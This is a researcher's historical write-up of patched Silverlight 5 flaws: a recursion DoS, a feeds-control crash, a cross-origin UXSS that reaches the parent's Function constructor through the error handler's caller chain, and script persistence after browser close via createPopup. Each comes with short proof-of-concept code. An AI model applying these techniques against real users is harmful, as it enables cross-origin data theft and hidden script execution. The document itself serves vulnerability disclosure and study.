Silverlight 5 Security Findings: DoS, EoP, UXSS, and Persistence

During a focused review of Silverlight 5, I came across several interesting issues spanning denial of service, elevation of privilege, cross-origin access, and an unusual persistence technique. These are grouped here since they all came from the same investigation.

DoS: Stack Overflow

A Silverlight application calling a recursive function with no base case caused an immediate browser crash. There was no need for any special setup — the stack overflow took about one second to trigger.

<object id="sl" data="data:application/x-silverlight," type="application/x-silverlight-2" width="330" height="20">
  <param name="source" value="StackOverflow.xap"/>
</object>

// C# inside the .xap
public void StackOverflow()
{
    StackOverflow();
}
StackOverflow();

EoP: Crash via Silverlight in Feeds WebBrowser Control

Loading a Silverlight object into the WebBrowser control used to display RSS feeds caused a crash rated as PROBABLY_EXPLOITABLE. The technique was to navigate an iframe showing a feed to a page containing a Silverlight object.

<iframe name="iFrame" src="feeds.xml"></iframe>
<script>
function main()
{
    window.open("crash.html","iFrame");
}
</script>
<input type="button" onclick="main()" value="Click Here">

<!-- crash.html -->
<object data="data:application/x-silverlight," type="application/x-silverlight-2"></object>

The fault occurred in npctrl!CommonBrowserHost::CleanupCommon and was classified as a null pointer read in a code-flow–controlling position.

UXSS: Error Bubbles Up Through Silverlight to Expose Cross-Origin Constructor

When a Silverlight control in a cross-origin iframe called InvokeSelf (or similar SL methods) with a reference to the parent window, the resulting error propagated into the parent’s onerror handler with an accessible caller chain — the same class of bug as the VBScript and JavaScript variants found earlier.

<!-- parent page -->
<iframe src="http://www.otherdomain.com/sl_tries_to_access_top.html"></iframe>
<script>
window.onerror = function handleError()
{
    xFunction = handleError.caller.constructor;
    xFunction('alert("document.URL:\\n" + document.URL + "\\n\\ndocument.body.innerText:\\n" + document.body.innerText)')();
    return true;
}
</script>

<!-- sl_tries_to_access_top.html (cross-origin) -->
<object id="sl" data="data:application/x-silverlight," type="application/x-silverlight-2">
  <param name="source" value="InvokeSelf.xap"/>
</object>
<script>
sl.Content.bridge.InvokeSelf(parent, "1");
</script>

Persistence: Script Survives Browser Close via createPopup and Silverlight

By loading a Silverlight control inside a createPopup window, a setInterval loop continued running even after the browser was closed. The Silverlight object kept the popup’s scripting context alive as a background thread.

<script>
function main()
{
    var cp = createPopup();
    cp.document.write('<object data="data:application/x-silverlight," type="application/x-silverlight-2" width="330" height="20"><param name="source" value="ThreadLock.xap"/></object>' +
        '<script>parent.setInterval("window.focus();alert(\\"This will appear every five seconds, even with the browser closed.\\");",5000);<\/script>');
    cp.document.close();
    cp.show(0,0,350,30);
    setTimeout('window.focus();document.body.innerHTML = "<h1>CLOSE THIS WINDOW NOW!</h1>"', 2000);
}
</script>
<input type="button" onclick="main()" value="Do it Now!" />

Information Disclosure: WebBrowser Control Accessing Feed Content

A separate Silverlight application using the WebBrowser control (wb_feeds.xap) could access and read the content of RSS feeds rendered in the feed viewer, which ran at a higher privilege level than normal web content.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.